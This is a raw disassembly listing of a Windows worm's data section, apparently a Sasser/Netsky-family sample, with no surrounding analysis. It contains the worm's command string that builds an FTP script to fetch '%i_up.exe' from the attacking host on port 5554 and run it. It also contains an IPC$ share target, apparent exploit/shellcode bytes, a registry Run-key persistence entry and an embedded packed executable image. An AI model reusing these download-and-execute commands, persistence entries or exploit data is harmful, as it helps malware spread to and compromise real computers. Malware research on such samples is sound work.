		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset word_40A89A
		dd 1, 0
		dd 1, 0
		dd offset word_40A89A
		dd 1, 0
		dd 1, 0
		dd offset word_40A89A
		dd 1, 0
		dd 1, 4	dup(0)
		dd 20h,	0Ch dup(0)
dword_408810	dd 1004600h						; sub_40159E+19Er
		dd 1, 20h, 0Ch dup(0)
		dd 7515123Ch, 2, 20h, 0Ch dup(0)
		dd 751C123Ch, 0Fh dup(0)
; char *off_4088C8
off_4088C8	dd offset aAvserve3_exe	; DATA XREF: sub_4021CF:loc_402227r
					; sub_4021CF+B5r
					; "avserve3.exe"
		dd offset aAvserve3	; "avserve3"
; char *off_4088D0
off_4088D0	dd offset dword_408910	; DATA XREF: sub_401B08+1Ar
					; sub_401B08+2Dr
; char *off_4088D4
off_4088D4	dd offset dword_408908	; DATA XREF: sub_401B08+77r
					; sub_401B08+84r
; char *off_4088D8
off_4088D8	dd offset dword_408900	; DATA XREF: sub_401B08+A8r
					; sub_401B08+B5r
; char *off_4088DC
off_4088DC	dd offset dword_4088F8	; DATA XREF: sub_401B08+2BCr
					; sub_401B08+2C9r ...
; char *off_4088E0
off_4088E0	dd offset dword_4088F0	; DATA XREF: sub_401B08+184r
					; sub_401B08+191r
; char *off_4088E4
off_4088E4	dd offset dword_4088E8	; DATA XREF: sub_401B08+1B9r
					; sub_401B08+1C6r
dword_4088E8	dd 20303531h, 0A4B4Fhdword_4088F0	dd 20303032h, 0A4B4Fhdword_4088F8	dd 20363232h, 0A4B4Fhdword_408900	dd 20303332h, 0A4B4Fhdword_408908	dd 20313333h, 0A4B4Fhdword_408910	dd 20303232h, 0A4B4FhaAvserve3	db 'avserve3',0         ; DATA XREF: .text:004088CCo
		align 4
aAvserve3_exe	db 'avserve3.exe',0     ; DATA XREF: .text:off_4088C8o
		align 4
aEchoOffEchoOpe	db 'echo off&echo open %s 5554>>cmd.ftp&echo anonymous>>cmd.ftp&echo '
					; DATA XREF: .text:off_408030o
		db 'user&echo bin>>cmd.ftp&echo get %i_up.exe>>cmd.ftp&echo bye>>cmd.'
		db 'ftp&echo on&ftp -s:cmd.ftp&%i_up.exe&echo off&del cmd.ftp&echo on'
		db 0Ah,0
		align 4
a127_0_0_1	db '127.0.0.1',0        ; DATA XREF: sub_4010D2:loc_401140o
		align 4
aCWin2_log	db 'c:\win2.log',0      ; DATA XREF: sub_401210+27o
aI		db '%i',0               ; DATA XREF: sub_401210+16o
		align 4
aSC		db '%s%c',0             ; DATA XREF: sub_401398+1DFo
		align 10h
aSIpc		db '\\%s\ipc$',0        ; DATA XREF: sub_401398+20o
					; sub_40159E+23o
		align 4
dword_408A2C	dd 6EB06EBh, 0	dword_408A34	dd 1CEC8166h	dword_408A38	dd 0E4FF07h	; char a5_0[]
a5_0		db '5.0',0              ; DATA XREF: sub_401A84+4Ao
; char SubStr[]
SubStr		db '5.1',0              ; DATA XREF: sub_401A84+27o
; char aQuit[]
aQuit		db 'QUIT',0             ; DATA XREF: sub_401B08+2DAo
		align 4
; char aRetr[]
aRetr		db 'RETR',0             ; DATA XREF: sub_401B08+1A2o
		align 4
aI_I_I_I	db '%i.%i.%i.%i',0      ; DATA XREF: sub_401B08+173o
					; sub_401EF0+D2o
word_408A60	dw 2Ch			; DATA XREF: sub_401B08+EEr
		align 4
; char aPort[]
aPort		db 'PORT',0             ; DATA XREF: sub_401B08+C6o
		align 4
; char aPass[]
aPass		db 'PASS',0             ; DATA XREF: sub_401B08+95o
		align 4
; char aUser[]
aUser		db 'USER',0             ; DATA XREF: sub_401B08+64o
		align 4
; char asc_408A7C[]
asc_408A7C:				; DATA XREF: sub_401EF0+102o
		unicode	0, < >,0
aBinary		db 'BINARY',0           ; DATA XREF: sub_402029+15o
		align 4
aSkynet_cpl	db 'skynet.cpl',0       ; DATA XREF: sub_4020B8+3Co
		align 4
; char asc_408A94[]
asc_408A94:				; DATA XREF: sub_4020B8+2Eo
					; sub_4021CF+4Bo ...
		unicode	0, <\>,0
aPinaasosky	db 'PinaasoSky',0       ; DATA XREF: WinMain(x,x,x,x)+51o
		align 4
aJobaka3	db 'Jobaka3',0          ; DATA XREF: WinMain(x,x,x,x)+Fo
aSoftwareMicros	db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: sub_4021CF+8Co
		align 10h
off_408AE0	dd offset __exit	; DATA XREF: __amsg_exit+1Cr
dword_408AE4	dd 2							; __NMSG_WRITE+46r
		align 10h
off_408AF0	dd offset __wctype+2	; DATA XREF: _isalnum+1Er
					; __isctype+12r ...
		dd offset __wctype+2
		public __wctype
; const	unsigned __int16 _wctype[]
__wctype	dd    200000h		; DATA XREF: _x_ismbbtype+18r
					; .text:off_408AF0o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_408CFC	dd 1				dd 2Eh,	1
off_408D08	dd offset a_cmd		; DATA XREF: __spawnve+109o
					; ".cmd"
		dd offset a_bat		; ".bat"
		dd offset a_exe		; ".exe"
off_408D14	dd offset a_com		; DATA XREF: __spawnve+E7o
					; ".com"
dword_408D18	dd 0C0000005h						; _xcptlookup+11o
		dd 0Bh,	0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_408D90	dd 3		dword_408D94	dd 7		dword_408D98	dd 0Ah		dword_408D9C	dd 8Ch							; __XcptFilter+8Fw ...
		dd 0FFFFFFFFh, 0A00h, 10h
dword_408DAC	dd 19930520h, 4	dup(0)					; __NLG_Notify+2o
dword_408DC0	dd 2							; __NMSG_WRITE+28r
off_408DC4	dd offset aR6002FloatingP ; DATA XREF: __NMSG_WRITE+FCr
					; __NMSG_WRITE+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 4073F0h, 9, 4073C4h, 0Ah,	4073A0h, 10h, 407374h
		dd 11h,	407344h, 12h, 407320h, 13h, 4072F4h, 18h, 4072BCh
		dd 19h,	407294h, 1Ah, 40725Ch, 1Bh, 407224h, 1Ch, 4071FCh
		dd 78h,	4071ECh, 79h, 4071DCh, 7Ah, 4071CCh, 0FCh, 4071C8h
		dd 0FFh, 4071B8h
dword_408E50	dd 2, 0		dword_408E58	dd 1		dword_408E5C	dd 16h				dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
byte_408FC0	db 1			; DATA XREF: __dosmaperr+19o
					; __setmbcp+E1r
		db 2, 4, 8
		align 8
dword_408FC8	dd 3A4h				dd 82798260h, 21h, 0	; DATA XREF: __setmbcp+11Dr
dword_408FD8	dd 0DFA6h			align 10h
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_4090B8	dd 3F8h							; __setmbcp+3Co ...
		align 10h
dword_4090C0	dd 129B1C7h						; sub_401000+10w ...
dword_4090C4	dd 0							; sub_401210+Dr
; char Source[]
Source		db 4 dup(0)		; DATA XREF: sub_40127D+89o
					; sub_401398+Co ...
dword_4090CC	dd 0		; char *dword_4090D0
dword_4090D0	dd 0							; __setenvp:loc_4032FFr ...
		align 8
dword_4090D8	dd 0							; _fast_error_exitr ...
dword_4090DC	dd 0							; __spawnvpe+27r ...
dword_4090E0	dd 0							; __dospawn+5Aw ...
		align 8
dword_4090E8	dd 0A28h						; sub_40292E:loc_402999r
dword_4090EC	dd 501h		dword_4090F0	dd 5		dword_4090F4	dd 1		dword_4090F8	dd 1		dword_4090FC	dd 8A0ED0h			dd 0
; void *Memory
Memory		dd 8A0D70h		; DATA XREF: _getenv+9r _getenv+27r ...
dword_409108	dd 0		dword_40910C	dd 0							; ___wtomb_environ+4r ...
		dd 0
off_409114	dd offset aCM_unpackerPac ; DATA XREF: __setargv+2Ew
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_40911C	db 0			; DATA XREF: _doexit+2Dw
		align 10h
dword_409120	dd 0		dword_409124	dd 0		dword_409128	dd 0							; __XcptFilter+46w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: __setargv:loc_4033BDo
					; .text:off_409114o
		align 4
		dd 3Ah dup(0)
dword_409230	dd 1							; ___crtGetEnvironmentStringsA+23w ...
dword_409234	dd 0		dword_409238	dd 1							; ___crtGetStringTypeA:loc_403CD2w
dword_40923C	dd 1							; _getSystemCP+4w ...
dword_409240	dd 0							; ___crtMessageBoxA+2Ew ...
dword_409244	dd 0							; ___crtMessageBoxA:loc_405442r
dword_409248	dd 0							; ___crtMessageBoxA+60r
		dd 2 dup(0)
dword_409254	dd 0				dd 3 dup(0)
dword_409264	dd 0							; _getSystemCP+3Ar ...
		dd 0
dword_40926C	dd 0							; _calloc:loc_405613r ...
dword_409270	dd 0		dword_409274	dd 1							; ___crtCompareStringA+48w ...
dword_409278	dd 1							; ___crtLCMapStringA+4Cw ...
dword_40927C	dd 10h							; ___sbh_alloc_new_region+5r ...
dword_409280	dd 0							; ___sbh_free_block+259r ...
dword_409284	dd 320650h						; ___sbh_free_block+310w ...
; void *Dst
Dst		dd 0			; DATA XREF: ___sbh_heap_init:loc_4048D1w
					; ___sbh_free_block+22Cr ...
dword_40928C	dd 1							; ___sbh_find_blockr ...
dword_409290	dd 320650h						; ___sbh_find_block+8r	...
dword_409294	dd 4E4h							; __setmbcp+14r ...
		align 10h
dword_4092A0	dd 3 dup(0)						; __setmbcp+171o ...
dword_4092AC	dd 0				dd 4 dup(0)
byte_4092C0	db 0			; DATA XREF: _setSBUpLow:loc_40481Fw
					; _setSBUpLow:loc_40483Cw ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4093C0	db 0			; DATA XREF: __setmbcp+5Co
					; __setmbcp+AFo ...
byte_4093C1	db 0			; DATA XREF: _parse_cmdline+3Fr
					; _parse_cmdline+84r ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4094C4	dd 0							; __setmbcp+6Ew ...
dword_4094C8	dd 320000h						; __heap_init+29r ...
		dd 5 dup(0)
dword_4094E0	dd 8A0EF0h						; __ioinit+45r	...
dword_4094E4	dd 3Fh dup(0)	dword_4095E0	dd 20h							; __ioinit:loc_4037AFr	...
dword_4095E4	dd 1		dword_4095E8	dd 1		dword_4095EC	dd 0		dword_4095F0	dd 0		dword_4095F4	dd 0		dword_4095F8	dd 142340h			dd 281h	dup(0)
		dd 905A4Dh, 3, 4, 0FFFFh, 0B8h,	0
		dd 40h,	8 dup(0)
		dd 0D8h, 0EBA1F0Eh, 0CD09B400h,	4C01B821h, 685421CDh, 70207369h
		dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h
		dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0
		dd 0F59C1331h, 3 dup(0A6F27275h), 0A6F86D9Dh, 0A6F27246h
		dd 0A6FC6EF6h, 0A6F2727Ch, 0A6E16D17h, 0A6F27270h, 0A6F37275h
		dd 0A6F27247h, 0A6F96D9Dh, 0A6F27271h, 0A6F474CDh, 0A6F27274h
		dd 0A6F66D9Dh, 0A6F27274h, 68636952h, 0A6F27275h, 2 dup(0)
		dd 4550h, 2014Ch, 40942F98h, 2 dup(0)
		dd 210E00E0h, 6010Bh, 4A00h, 3000h, 0
		dd 1B39h, 1000h, 6000h,	10000000h, 1000h, 200h,	4, 0
		dd 4, 0
		dd 1C000h, 400h, 0
		dd 2, 100000h, 1000h, 100000h, 1000h, 0
		dd 10h,	0B078h,	3Ch, 0B0C8h, 8Ah, 0B000h, 58h, 4 dup(0)
		dd 0B058h, 18h,	14h dup(0)
		dd 7865742Eh, 74h, 0A000h, 1000h, 3A00h, 400h, 50454332h
		dd 2 dup(0)
		dd 0E0000020h, 7273722Eh, 63h, 101E6h, 0B000h, 0A00h, 3E00h
		dd 3 dup(0)
		dd 0E0000020h, 20h dup(0)
		dd 0C000h, 0
		dd 0BA00h, 55h dup(0)
		dd 247C0083h, 0A750108h, 240074FFh, 0AE804h, 593001h
; [00000006 BYTES: COLLAPSED FUNCTION DllMain(x,x,x). PRESS KEYPAD "+" TO EXPAND]
		dw 8B55h
		dd 4D8BEC00h, 49C0330Ch, 8F90083h, 24FF6677h, 10168F8Dh
		dd 82201000h, 0D058EB3Ah, 0BEB5A06h, 1475FF51h,	0B133B02h
		dd 0C3BEB85h, 7CEBAC70h, 802E22Eh, 0EBD30FD0h, 0FE810E7Dh
		dd 0EB0CC483h, 2C02FEFh, 0EB595929h, 0B08055Ah,	63C25D50h
		dd 2E662C17h, 3A790333h, 9E54E78Bh, 47867977h, 8B8264E7h
		dd 0C14C8BC1h, 44889ADh, 8F080673h, 0C0C3808h, 0D000C70Bh
		dd 0D851C60h, 59C7610h,	0A3102D0Eh, 56C93C07h, 5DF18B2Eh
		dd 0F6F8000Bh, 7485E844h, 0CC05607h, 8B596205h,	0C25E02C6h
		dd 1C70004h, 0D31532D9h, 33C22780h, 0C085F6h, 0CA3B1D74h
		dd 0F08B0974h, 10408B16h, 0F375170Ch, 850C0B10h, 0E39B9F6h
		dd 618350F0h, 0C35E80B0h, 44B8B58h, 7040A316h, 35C32C0Eh
		dd 5D16355Ah, 7425C534h, 22D31DCh, 0CE8B068Bh, 9BC050FFh
		dd 0ECEB1076h, 8EE529B3h, 0C9854782h, 4917C074h, 16EB4010h
		dd 11A1C3F6h, 452BC9CBh, 7DC7C53Bh, 415BC206h, 4ACEF0EBh
		dd 865E2744h, 6D2C083Ah, 7459131Dh, 0F3D0011h, 0FFC850C0h
		dd 2DB90852h, 0B59E6702h, 0CB326BFh, 0CB0C3AABh, 52AE0D15h
		dd 0B81526F7h, 0E2EE102Ah, 0C77CD714h, 15F07A18h, 0FF793357h
		dd 4E113C13h, 3584E1Ch,	189A5F3Eh, 0C78BE904h, 8445F35Fh
		dd 0C2608310h, 67518BA3h, 51136ECEh, 4E372ECCh,	827CB49h
		dd 532C9C58h, 5759F045h, 3305F98Bh, 0F4B9DBh, 440096h
		dd 4D750E39h, 58890E89h, 0B05E2C5Eh, 10C5E2Ah, 447B70Fh
		dd 3435FF50h, 15FF1387h, 8980C8C4h, 468D1046h, 206A0014h
		dd 745E8850h, 0B39877FFh, 14C05D1Dh, 83D320F8h,	6A34C605h
		dd 168B5640h, 0EE52100Ch, 5B2E84B3h, 18B0B68h, 4ED4006Ah
		dd 362F4CA3h, 8BFF0008h, 0A84B0504h, 6906441Eh,	343FDC0h
		dd 9EC331C0h, 0A35A0026h, 0F8C1010Fh, 7FFF2510h, 3F38D64h
		dd 38C311A2h, 17EC812Bh, 0B1000954h, 3A00BB16h,	2EB2002Ch
		dd 178103Dh, 0FACC858Dh, 6053FFFFh, 0BD80D7A1h,	9FEEC2Ch
		dd 38145C4Ch, 5E74600Ch, 6817180Eh, 1C718564h, 580D7CD6h
		dd 0F6AC17EAh, 4E2EB734h, 3B2E7D12h, 584C3E0Dh,	8A9C5760h
		dd 15345803h, 0C7FE70F0h, 192B104h, 13AC7F65h, 0E885B608h
		dd 505E572Fh, 151A7021h, 0E814B604h, 485A680Ch,	93F7844h
		dd 0F9EFD9BBh, 126B4486h, 1000A66Ch, 4589F73Bh,	17674F4h
		dd 7274C73Bh, 1A57026Ah, 0F091639h, 0B7078005h,	0B4B80005h
		dd 0C012F954h, 45C71C29h, 480013F8h, 5F813500h,	458D5756h
		dd 8B181977h, 419ACF06h, 6CD88B16h, 99F83206h, 0A100B92Eh
		dd 2FF4FAD8h, 128F9F7h,	5D30DA02h, 0C505E2FFh, 0FF2046C0h
		dd 752DF84Dh, 6D160CBEh, 5C907CD8h, 0F500B157h,	0C3C9A9C5h
		dd 0B10419C2h, 43FC0E9h, 9D18B9E0h, 0BB09D178h,	6A6591B0h
		dd 73E26446h, 0AEE46803h, 0F006C711h, 82E5D0A4h, 3E6EA351h
		dd 0D3B0CD36h, 1466F168h, 3B0AC1BDh, 3A6AC359h,	683E0516h
		dd 4109008Bh, 7C30B943h, 4EB00A13h, 66796A67h, 6110F865h
		dd 72451EF9h, 4F453733h, 0B5E4638h, 62155468h, 2ED43071h
		dd 3912196Ah, 5F9FD10Bh, 0A040C16h, 586A2158h, 0B5EDE03h
		dd 8B803539h, 447E0125h, 717B78A1h, 1CB00462h, 0F6022F3Dh
		dd 74830C40h, 983C690Dh, 0F823837Ah, 1005EFFh, 14FE8347h
		dd 23175B7Ch, 0B034FF0Bh, 0C00C6E41h, 0B0248359h, 3B462D00h
		dd 0BC7C8843h, 86714EDAh, 5C615351h, 18187D8Bh,	517D58AFh
		dd 5228C45h, 0FF85FC7Dh, 8B078189h, 190775DFh, 68FE13Ch
		dd 76588BB6h, 46F70B66h, 38C20C0Ch, 18584615h, 0EB26141Bh
		dd 1B5DBA07h, 4E8BC0C0h, 0E12E810Ch, 742CC908h,	45C1929h
		dd 3B00228Ch, 72FB8BD8h, 57F88B02h, 0FF17B857h,	11067A36h
		dd 0C57E291Bh, 0BF703E5Fh, 1601DF2Bh, 7EEB087Dh, 72145D06h
		dd 0BD97246h, 67100E68h, 75050F3Fh, 9C7D8379h, 8B05C24Eh
		dd 0F7D233C3h, 16406B9Ch, 42EBFA2Bh, 7626FB3Bh,	570E851Eh
		dd 16DA3EDEh, 98014774h, 5AD82B1Bh, 0B03E720Bh,	29EBFC05h
		dd 0F56AEC1h, 0FA6800BEh, 59422D0Dh, 3D46ABFBh,	4BA4C5BAh
		dd 5A59A5DCh, 9D78A77Fh
		db 0, 85h
word_40A89A	dw 0DB1Bh		; DATA XREF: .text:00408750o
					; .text:00408794o ...
		dd 3913850Fh, 0E230C900h, 0B7C58313h, 0FC0B8B20h, 2BC78B65h
		dd 5CC46A74h, 5809FEE7h, 9DCF465Dh, 8966C108h, 93E084Dh
		dd 0E39C073Ah, 3EBF00Ch, 0F327B38Bh, 0B962A1Bh,	0C83B2383h
		dd 0BF08632h, 99E5336h,	0CD4FF72h, 0C1DF032Dh, 4D3B4B04h
		dd 0A52E0CC5h, 679E65FDh, 0C1C0FD3Fh, 5E50C22Bh, 151EF753h
		dd 3649F229h, 2937FBD0h, 0EBD803E0h, 0B36184Dh,	61EC5014h
		dd 71038828h, 67FF4386h, 45B98A79h, 0E58FB233h,	3562E676h
		dd 0C7EBD904h, 0CE2B5B62h, 0E58FE73Eh, 0CEC830Bh, 630865E9h
		dd 27188B24h, 1A5F5639h, 7D0A5A6Ch, 0E55F8903h,	5EA15358h
		dd 7771ED19h, 5460C33Bh, 165B7CFCh, 0D60C578Bh,	0ED96C231h
		dd 5C386678h, 0A050904h, 4F8B078Bh, 2BD8FE80h, 0B0C2F6D9h
		dd 9CF85D33h, 8B00D6FAh, 5FAC1DEh, 41FE383h, 6095148Bh
		dd 820EC97Ah, 8004DAEFh, 0D18B9DC0h, 7305D03Bh,	0A3A8022h
		dd 9581C265h, 0F1EB42F8h, 75803060h, 5C71B12h, 1693E860h
		dd 9D839595h, 0B9B850FFh, 2C0063FCh, 0DD822B9h,	429847F6h
		dd 0A1842E0Fh, 8B7AE51Fh, 0E18D246h, 2C05521h, 0C203C12Bh
		dd 0C62B98DAh, 0E66B384Dh, 9D8D1F21h, 0C1096B1Bh, 3038BE6h
		dd 66061E70h, 6A336F6Ah, 0B7C14E25h, 1D7501BFh,	3808478Bh
		dd 2C80399h, 0B73C13Bh,	8AD83880h, 47F04008h, 0EB2D200Dh
		dd 0FC162E34h, 0B8A031h, 8B93BB02h, 0B203936h, 0E20D77h
		dd 8C1F60Ch, 0F60B0574h, 607404C5h, 7818470Bh, 0EDE664Eh
		dd 272629Ah, 0DCFC8EC5h, 0FC135BB2h, 6A6DC103h,	0C90878D1h
		dd 0C0A80188h, 7C8B6F8Dh, 677FD924h, 0FF0BDAB3h, 4384301h
		dd 5D750B02h, 960BEF24h, 75151D89h, 10CE10Dh, 59216244h
		dd 479D133h, 0A85935E2h, 2407C0C1h, 0EB2170FCh,	34B0A814h
		dd 7CB3A810h, 4C48186h,	0CEC77AC4h, 578C98E1h, 0F3140CE6h
		dd 33DCB116h, 0F02B8C9h, 49C13695h, 0DEB1330h, 0D577DB53h
		dd 0F71B8C24h, 0C3013A70h, 7595C750h, 1A163C03h, 21A28757h
		dd 0D2D390C3h, 17BE1BA4h, 734E9B09h, 70FF30BEh,	828CCD7Bh
		dd 158B8F1Dh, 0A8300AD2h, 65CD6C0Dh, 0F22BF106h, 3B040630h
		dd 7316B5CCh, 0C51E523Ah, 0ED67C083h, 6F1C582Dh, 6A7BA3DBh
		dd 0D2B2EE1h, 0B4A31868h, 0F9C10104h, 880C8D02h, 5C457989h
		dd 11689F8h, 8C0B0583h,	4D8D404h, 0D8F7CE09h, 4FF671Bh
		dd 68C34802h, 5DBCEE80h, 10EEB88Ch, 1528D63Dh, 7B2186Ah
		dd 838CD8A1h, 8005B20h,	1A41A32Dh, 7E80D9C3h, 0F524E658h
		dd 5B14C59Ch, 1E178C76h, 3C4C3D2Ch, 69A19279h, 8A246012h
		dd 7BA6D0Dh, 0E1007C18h, 12692DC1h, 0B87440C4h,	0C7780DEAh
		dd 18E03696h, 0F76CC12Ch, 201E4809h, 8B84A316h,	0E321C146h
		dd 50784CA3h, 41F5C18h,	1E96781Fh, 1F17F0DDh, 480525FFh
		dd 0CC2B9B1h, 0D8CE5B4Eh, 39F27516h, 1B7ECB13h,	0D380D1Dh
		dd 5C75F3A4h, 5D4D179Dh, 3DCA16ADh, 0CBEB6882h,	0CAEB2EC2h
		dd 9D537C39h, 752B315Ah, 658CA34Ch, 90B2496h, 48353D83h
		dd 642640C5h, 0FE2BD1B4h, 88A122C1h, 0F7E68776h, 313E3209h
		dd 0F32ED009h, 894508F7h, 68CB7C0Ah, 4E964704h,	0F477840Fh
		dd 0A633EA67h, 0B4534C99h, 0F5374380h, 0F62D233Fh, 75030546h
		dd 334BC26h, 0B3252159h, 74B28566h, 85BA811h, 8B3CE5EDh
		dd 97BF0293h, 0A11ACF5Dh, 0F8ABE554h, 310D858Bh, 3C970E96h
		dd 0C8B60158h, 0B1152327h, 684E23C2h, 2E614A69h, 59C37068h
		dd 0E6F47959h, 0C7D02470h, 5958DF24h, 0F4D95638h, 25168F9Ah
		dd 874C1D0Ah, 26355FDCh, 8F5E7A40h, 235E2328h, 0FFCF83E1h
		dd 402E261Ah, 0EBAD98A6h, 232F3A47h, 1ECE0634h,	3707F82Eh
		dd 87E69330h, 50B8E02Fh, 2F055C7Dh, 311258EBh, 0BB5B91Ch
		dd 0D3A3E60Dh, 1C6606h,	9CC79EC5h, 0ED9CB406h, 85CF86A1h
		dd 0F0726A56h, 6C2E335Eh, 66CEBC5h, 0A67D66AEh,	19A3C616h
		dd 0A1046A85h, 0B1BE3034h, 0D1EA7856h, 1261216Fh, 58D8956h
		dd 8C318BFh, 7A1E1A6Ah,	0B82E384Ch, 8D8E170h, 489F078h
		dd 20F2D811h, 4C18303h,	1C72F03Dh, 4BACEA38h, 1C80B92Dh
		dd 0F28BC206h, 768B8A78h, 0F006E204h, 44DA8B4h,	983056Fh
		dd 203080FFh, 0E0F98142h, 0D47C29B8h, 1081928Dh, 0A03D809Bh
		dd 0F8E4EB34h, 8D6DE739h, 0A531B7Ch, 8B880D4Bh,	82F1C65Eh
		dd 0ACF3B9C7h, 5AC6CC18h, 885807EBh, 4E1B116h, 0C7100762h
		dd 83A1DB17h, 0FE24086Ch, 2CEEC959h, 2C187402h,	8CFE6583h
		dd 20C0656h, 6C0CA966h,	81172259h, 596D90FEh, 0B007C7DAh
		dd 0A10B7589h, 697F31FEh, 47B8DD8h, 34593B31h, 5738D8A1h
		dd 4264742Ch, 3E05C38Ch, 488DF82Bh, 580E398Bh, 70491808h
		dd 7E044EEAh, 2143106Fh, 1AE06FB4h, 0FB8333EBh,	8B16CFB0h
		dd 0CB5ADA8Ch, 80E13AE8h, 0EBC8048Dh, 0CB84D05h, 440F603h
		dd 682E6620h, 98CD5377h, 8A2B594Fh, 8880C70h, 258AC6CDh
		dd 5F26C58Dh, 0D83952F8h, 74215F84h, 0EB93A106h, 0B6445D0Fh
		dd 8EB2C98h, 0E9BFF40Dh, 0D887DA0Ch, 0E6041418h, 3B53B670h
		dd 80604E0Dh, 0F0BABACh, 11017983h, 8C99C199h, 8A02FCAEh
		dd 0A8043044h, 7357321Ch, 96503301h, 7D16AF60h,	0F03102F8h
		dd 0FF0FB4E0h, 0CA1B1A8h, 0D65157C2h, 30317A0h,	802CB7C6h
		dd 55C14D31h, 1021933Ah, 0B32EADCh, 0E7860F08h,	858D8311h
		dd 441DFBECh, 432BD898h, 4D02424Dh, 0E5297310h,	1F80FF0Ah
		dd 0F980098Ah, 8054B30Ah, 0C6F009h, 0DFB0400Dh,	0C8168B40h
		dd 8429958Dh, 0E5CDCA2Bh, 0CC7CC171h, 3BE5BEB3h, 0F44557C4h
		dd 0E55012C5h, 71009C0Dh, 3034FF11h, 4E30038Fh,	724358C3h
		dd 390143F4h, 7CC73B02h, 2B83980Bh, 85A74543h, 8B8A7210h
		dd 4B138BB9h, 0E68B1EFAh, 5FFD6091h, 5843056Ah,	4C758A8Ah
		dd 0E309DCF1h, 225B64A3h, 308F0F2Ch, 0BAEE2C15h, 0C7EB021Eh
		dd 0C9F44D8Dh, 0CC2934DBh, 3D64EED0h, 21D1EE0Bh, 0A7EBF80Bh
		dd 0A69C712Ch, 0A531C04Eh, 863DEB59h, 6C3896CEh, 21008D84h
		dd 8C1A1889h, 0C3BCD0Dh, 0C51C6BB3h, 6CA13D89h,	9F6216EBh
		dd 83C961F0h, 0C6825h, 662B89B7h, 1B48B86Ah, 801000h, 814028h
		dd 1234567h, 0DD736A90h, 0FF64500Eh, 35h, 25896400h, 0
		dd 889C033h, 90909090h,	624AB232h, 5E64035Ch, 6637FA63h
		dd 3129B1CBh, 94989DBEh, 6BC4CC7Eh, 0C8720350h,	2E97CF1Fh
		dd 0E872A43h, 746FD24h,	0CB8349D0h, 8464FCEh, 6898311h
		dd 97AC675Fh, 3E79C31Bh, 5764788Eh, 63F65933h, 38BC5C66h
		dd 38864D77h, 0E332488Bh, 0E307C31h, 0F10714Ch,	9B56259Ah
		dd 1D405853h, 0B41AEB43h, 75001615h, 22C2113h, 41AEE6Ch
		dd 0F80B0275h, 0B32D411Fh, 7470B838h, 4ADC0241h, 0CC5A75h
		dd 5791C3D3h, 3ECAD8B4h, 0B6E66564h, 3B72C0D1h,	60876FEh
		dd 820FF83Bh, 0F7A6E178h, 443803C7h, 0C1031475h, 0E28302E9h
		dd 2D2C03h, 0A5F32972h,	689524FFh, 0C79C225Ch, 41CBA5Ah
		dd 7204E983h, 65E01263h, 244481ABh, 5C218085h, 8D2E2443h
